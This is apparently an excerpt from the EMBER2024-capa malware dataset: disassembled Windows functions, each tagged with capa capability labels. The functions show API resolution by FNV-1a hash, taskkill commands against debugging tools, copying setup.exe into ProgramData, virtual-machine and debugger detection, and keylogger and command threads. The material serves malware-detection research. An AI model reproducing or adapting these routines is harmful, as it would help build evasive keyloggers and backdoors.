joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400011f0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp - 0x2a], 0x6c6c64
mov dword [rbp - 0x30], 0x6c64746e
mov word [rbp - 0x2c], 0x2e6c
mov byte [rbp - 0x26], 0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
xor r15d, r15d
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400012b8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400012b8
mov edi, dword [rbx + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400012b3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x140001290
cmp edx, 0x53b2070f
je 0x1400013bb
test r8d, r8d
jne 0x140001270
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400012cd
cmp qword [rax + 0x30], r15
jne 0x140001240
mov rax, r15
lea rcx, [rbp - 0x30]
call rax
mov r14, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x14000140d
movdqa xmm0, xmmword [0x140005510]
movdqu xmmword [rbp - 0x20], xmm0
mov dword [rbp - 0xa], 0x737365
mov dword [rbp - 0x10], 0x72506e6f
mov word [rbp - 0xc], 0x636f
mov byte [rbp - 6], r15b
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400013a4
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400013a4
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000139f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140001380
cmp edx, 0xf8f45725
je 0x1400013d7
test r8d, r8d
jne 0x140001360
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1400013f1
cmp qword [rax + 0x30], r15
jne 0x140001330
jmp 0x1400013f1
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400012d0
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov r15d, dword [rcx + rdx*4]
add r15, r9
lea rdx, [rbp - 0x20]
mov rcx, r14
call r15
test rax, rax
je 0x14000140d
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov eax, 1
jmp 0x14000140f
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
mov rdi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rbp
ret
Function at 0x140001430
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x30
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x28], rax
xor r14d, r14d
mov dword [rsp + 0x20], r14d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400014f8
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400014f8
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x1400014f3
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400014d0
cmp edx, 0x6dd8a845
je 0x1400015bb
test r8d, r8d
jne 0x1400014b0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14000150d
cmp qword [rax + 0x30], r14
jne 0x140001480
mov rbp, r14
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1400015a4
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x1400015a4
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x14000159f
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x140001580
cmp edx, 0x4cfe97c1
je 0x1400015d7
test r8d, r8d
jne 0x140001560
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x1400015ef
cmp qword [rax + 0x30], r14
jne 0x140001530
jmp 0x1400015ef
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov ebp, dword [rcx + rdx*4]
add rbp, r9
jmp 0x140001510
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov r14d, dword [rcx + rdx*4]
add r14, r9
call rbp
mov rcx, rax
lea rdx, [rsp + 0x20]
call r14
mov eax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140003050
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
Function at 0x140001630
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x500
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov r11, rsi
nop dword [rax]
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov ebx, dword [rax + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x140001708
mov r8d, dword [rbx + 0x18]
test r8d, r8d
je 0x140001708
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov eax, dword [rax + r9]
add rax, r9
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x140001703
nop dword [rax]
movsx ecx, cl
lea rax, [rax + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax - 1]
test cl, cl
jne 0x1400016e0
cmp edx, 0x9bc5a608
je 0x14000182e
test r8d, r8d
jne 0x1400016c0
mov rax, qword [r11]
mov r11, rax
cmp rax, rsi
je 0x14000171e
cmp qword [rax + 0x30], 0
jne 0x140001690
xor eax, eax
call rax
mov dword [rsp + 0x50], 0x100010
mov rbp, rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rsi, qword [rax]
mov rbx, rsi
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r11d, dword [rax + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x1400017c8
mov r8d, dword [r11 + 0x18]
test r8d, r8d
je 0x1400017c8
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r8d
mov edx, 0x811c9dc5
lea rax, [rdi + r8*4]
mov ecx, dword [rax + r9]
add rcx, r9
movzx eax, byte [rcx]
inc rcx
test al, al
je 0x1400017c3
nop dword [rax]
movsx eax, al
lea rcx, [rcx + 1]
xor eax, edx
imul edx, eax, 0x1000193
movzx eax, byte [rcx - 1]
test al, al
jne 0x1400017a0
cmp edx, 0x85cca27e
je 0x14000184a
test r8d, r8d
jne 0x140001780
mov rax, qword [rbx]
mov rbx, rax
cmp rax, rsi
je 0x1400017de
cmp qword [rax + 0x30], 0
jne 0x140001750
xor eax, eax
lea rdx, [rsp + 0x20]
mov rcx, rbp
call rax
test eax, eax
je 0x140001868
cmp qword [rsp + 0x68], 0
jne 0x140001827
cmp qword [rsp + 0x70], 0
jne 0x140001827
cmp qword [rsp + 0x78], 0
jne 0x140001827
cmp qword [rsp + 0x80], 0
jne 0x140001827
cmp qword [rsp + 0x88], 0
jne 0x140001827
cmp qword [rsp + 0x90], 0
je 0x140001868
mov eax, 1
jmp 0x14000186a
mov ecx, dword [rbx + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x140001720
mov ecx, dword [r11 + 0x24]
add rcx, r9
movzx edx, word [rcx + r8*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [rcx + rdx*4]
add rax, r9
jmp 0x1400017e0
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.140003050
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x140001a60
Capabilities:
Contain obfuscated stackstrings
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
movdqa xmm0, xmmword [str.taskkill__f__im____7673_fAM__ED._ggerPro__nul_2_HTTPDebuggerSvc.HTTPDebuggerUI.eNtQueryInformatisc_stop_HTTPDebu_n_t]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140005500]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x25], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x3e206578
mov dword [rbp - 0x2c], 0x206c756e
mov word [rbp - 0x28], 0x3e32
mov byte [rbp - 0x26], 0x26
mov byte [rbp - 0x23], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [str.taskkill__f__im____7673_fAM__ED._ggerPro__nul_2_HTTPDebuggerSvc.HTTPDebuggerUI.eNtQueryInformatisc_stop_HTTPDebu_n_t]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x1400054f0]
movdqu xmmword [rbp - 0x50], xmm0
mov dword [rbp - 0x26], 0x31263e
movdqu xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x30], 0x20657865
mov dword [rbp - 0x2c], 0x6c756e3e
mov word [rbp - 0x28], 0x3220
mov byte [rbp - 0x22], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140005520]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x1400054e0]
movdqu xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x30], 0x31
movdqu xmmword [rbp - 0x40], xmm1
mov byte [rbp - 0x2e], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400054d0]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x140005490]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140005540]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x40], xmm1
mov dword [rbp - 0x20], 0xd8a4aacf
mov dword [rbp - 0x1c], 0xe5e1b0ad
mov dword [rbp - 0x18], 0xaaa1b2fd
mov dword [rbp - 0x14], 0x100a7b3
call fcn.140001e40
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400054d0]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [0x1400054a0]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140005550]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140005480]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov byte [rbp - 0x10], 1
call fcn.140001d30
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400054d0]
lea rcx, [rbp - 0x50]
movdqa xmm1, xmmword [str.__.__P]
movdqa xmmword [rbp - 0x50], xmm0
movdqa xmm0, xmmword [0x140005530]
movdqa xmmword [rbp - 0x40], xmm1
movdqa xmm1, xmmword [0x140005560]
movdqa xmmword [rbp - 0x30], xmm0
movdqa xmmword [rbp - 0x20], xmm1
mov word [rbp - 0x10], 0x100
call fcn.140001c20
lea rcx, [rbp - 0x50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
add rsp, 0x70
pop rbp
ret
Function at 0x140002075
Capabilities:
Execute command

Disassembly:
push rbp
sub rsp, 0x440
lea rbp, [rsp + 0x80]
mov rax, qword [0x1400121d0]
mov rdx, qword [rax]
mov qword [rbp + 0x3b8], rdx
xor edx, edx
lea rax, [0x14001034b]
mov rdx, rax
lea rax, str._ProgramData__setup.exe
mov rcx, rax
call sub.msvcrt.dll_fopen
mov qword [rbp - 0x58], rax
cmp qword [rbp - 0x58], 0
jne 0x140002109
lea rax, [rbp - 0x50]
lea r8, str.copy__setup.exe_c:ProgramData_setup.exe
mov edx, 0x400
mov rcx, rax
call fcn.1400014e7
lea rax, [rbp - 0x50]
mov rcx, rax
call sub.msvcrt.dll_system
mov dword [rbp - 0x5c], eax
cmp dword [rbp - 0x5c], 0
je 0x140002109
mov ecx, 2
mov rax, qword [fcn.14000e1e0]
call rax
mov rcx, rax
lea rax, str.error_duplicating__setup
mov rdx, rax
call fcn.140001450
mov rax, qword [rbp - 0x58]
mov rcx, rax
call sub.msvcrt.dll_fclose
nop
mov rax, qword [0x1400121d0]
mov rdx, qword [rbp + 0x3b8]
sub rdx, qword [rax]
je 0x14000212f
call fcn.140005780
nop
add rsp, 0x440
pop rbp
ret
Function at 0x140004810
Capabilities:
Query or enumerate registry value

Disassembly:
push rbp
sub rsp, 0x150
lea rbp, [rsp + 0x80]
mov rax, qword [0x1400121d0]
mov rcx, qword [rax]
mov qword [rbp + 0xc8], rcx
xor ecx, ecx
mov dword [rbp - 0x4c], 0x100
lea rax, [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
mov r8d, 0
lea rax, str.SYSTEMCurrentControlSetControlSystemInformation
mov rdx, rax
mov rcx, 0xffffffff80000002
mov rax, qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call rax
test eax, eax
jne 0x1400048f1
mov rax, qword [rbp - 0x48]
lea rdx, [rbp - 0x4c]
mov qword [rsp + 0x28], rdx
lea rdx, [rbp - 0x40]
mov qword [rsp + 0x20], rdx
mov r9d, 0
mov r8d, 0
lea rdx, str.SystemManufacturer
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call rax
test eax, eax
jne 0x1400048e1
lea rax, [rbp - 0x40]
lea rdx, str.VMware
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
jne 0x1400048da
lea rax, [rbp - 0x40]
lea rdx, str.VirtualBox
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x1400048e1
mov eax, 1
jmp 0x1400048f6
mov rax, qword [rbp - 0x48]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
mov eax, 0
mov edx, eax
mov rax, qword [0x1400121d0]
mov rcx, qword [rbp + 0xc8]
sub rcx, qword [rax]
je 0x140004910
call fcn.140005780
mov eax, edx
add rsp, 0x150
pop rbp
ret
Function at 0x140005221
Capabilities:
Query environment variable

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
lea rax, str.SHELL
mov qword [rbp - 0x20], rax
lea rax, str.LD_LIBRARY_PATH
mov qword [rbp - 0x18], rax
lea rax, str.JAVA_HOME
mov qword [rbp - 0x10], rax
mov dword [rbp - 0x24], 0
jmp 0x140005275
mov eax, dword [rbp - 0x24]
cdqe
mov rax, qword [rbp + rax*8 - 0x20]
mov rcx, rax
call sub.msvcrt.dll_getenv
test rax, rax
je 0x140005271
mov eax, 1
jmp 0x140005282
add dword [rbp - 0x24], 1
mov eax, dword [rbp - 0x24]
cmp eax, 2
jbe 0x140005253
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x140005373
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
call fcn.140005880
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call fcn.140004810
test eax, eax
je 0x1400053b0
lea rax, str.Running_in_a_virtual_machine._Exiting._n
mov rcx, rax
call fcn.140001493
mov eax, 0
jmp 0x14000556a
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
je 0x1400053c7
mov eax, 0
jmp 0x14000556a
call fcn.1400051c6
test eax, eax
je 0x1400053da
mov eax, 0
jmp 0x14000556a
call fcn.140005221
test eax, eax
je 0x1400053ed
mov eax, 0
jmp 0x14000556a
call fcn.140005288
test eax, eax
je 0x140005400
mov eax, 0
jmp 0x14000556a
mov r8d, 0
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateMutexA]
call rax
mov qword [0x14001c448], rax
mov rax, qword [0x14001c448]
test rax, rax
jne 0x140005450
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateMutex_error:__d_n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x14000556a
call fcn.140001fab
call fcn.14000491b
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x140004ef3]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x1400054af
lea rax, str.Failed_to_create_keylogger_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x14000556a
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [0x14000517b]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x140005501
lea rax, str.Failed_to_create_command_thread._n
mov rcx, rax
call fcn.140001493
mov eax, 1
jmp 0x14000556a
mov rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 8], rax
lea rax, [rbp - 0x10]
mov r9d, 0xffffffff
mov r8d, 1
mov rdx, rax
mov ecx, 2
mov rax, qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x14001c448]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret
Function at 0x140005a90
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.14000e1e0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.14000e1e0
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140005b00
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14001c4e4]
mov rbx, rcx
test esi, esi
jle 0x140005c30
mov rax, qword [0x14001c4e8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140005b4b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140005bd5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140005b30
mov rcx, rbx
call fcn.140006570
mov rdi, rax
test rax, rax
je 0x140005c52
mov rax, qword [0x14001c4e8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400066b0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14001c4e8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140005c37
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140005bce
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140005be0
add dword [0x14001c4e4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14001c4e8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140005bce
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140005a90
nop dword [rax]
xor esi, esi
jmp 0x140005b58
mov rax, qword [0x14001c4e8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140005a90
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140005a90
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400061e0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14001c540]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14001c520]
test rbx, rbx
je 0x14000623c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140006233
test eax, eax
jne 0x140006233
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140006218
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140006570
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400120f0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140006590
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140006598
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140006590
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400065ed
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400065e4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140006590
add rax, 0x28
cmp rax, r9
jne 0x1400065d0
xor eax, eax
ret

Function at 0x1400065f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400120f0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000660f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140006618
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000660f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400066b0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400120f0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400066cf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400066d8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140016cc4
Capabilities:
Allocate thread local storage
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x40
cmp dword [0x140021118], 0
mov r14, rdx
mov r15, rcx
lea rbx, [0x140021128]
jne 0x140016d11
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov rcx, rbx
mov dword [0x140021150], eax
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [0x140021118], 1
mov ecx, dword [0x140021150]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rbp, rax
test rax, rax
jne 0x140016de6
mov rcx, qword [0x140020444]
lea edx, [rax + 8]
lea r8d, [rax + 0x28]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x140016e11
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x140021120]
test rax, rax
je 0x140016d61
mov qword [rax], rbp
mov rcx, rbx
mov qword [rbp + 8], rax
mov qword [0x140021120], rbp
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
and dword [rsp + 0x30], 0
and dword [rsp + 0x28], 0
lea r9, [rbp + 0x20]
mov r8, rdi
mov rcx, rax
mov rdx, rbx
mov dword [rsp + 0x20], 0x100000
call qword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x18]
lea r8, [0x140016e2c]
mov r9, rbp
mov dword [rsp + 0x28], 8
or dword [rsp + 0x20], 0xffffffff
call qword [sym.imp.KERNEL32.dll_RegisterWaitForSingleObject]
mov ecx, dword [0x140021150]
mov rdx, rbp
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rcx, qword [0x140020444]
xor edx, edx
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140016e11
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
mov rcx, qword [rbp + 0x10]
mov qword [rax], rcx
mov qword [rbp + 0x10], rax
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
add rsp, 0x40
pop r15
pop r14
pop rdi
ret

Function at 0x1406f5c00
Capabilities:
Encode data using xor

Disassembly:
mov rax, qword gs:[0x60]
movabs r11, 0x6f5c70
movabs r10, 0x6f5c74
mov r9, qword [rax + 0x10]
xor eax, eax
movsxd rcx, dword [r9 + 0x3c]
movsxd r11, dword [r9 + r11]
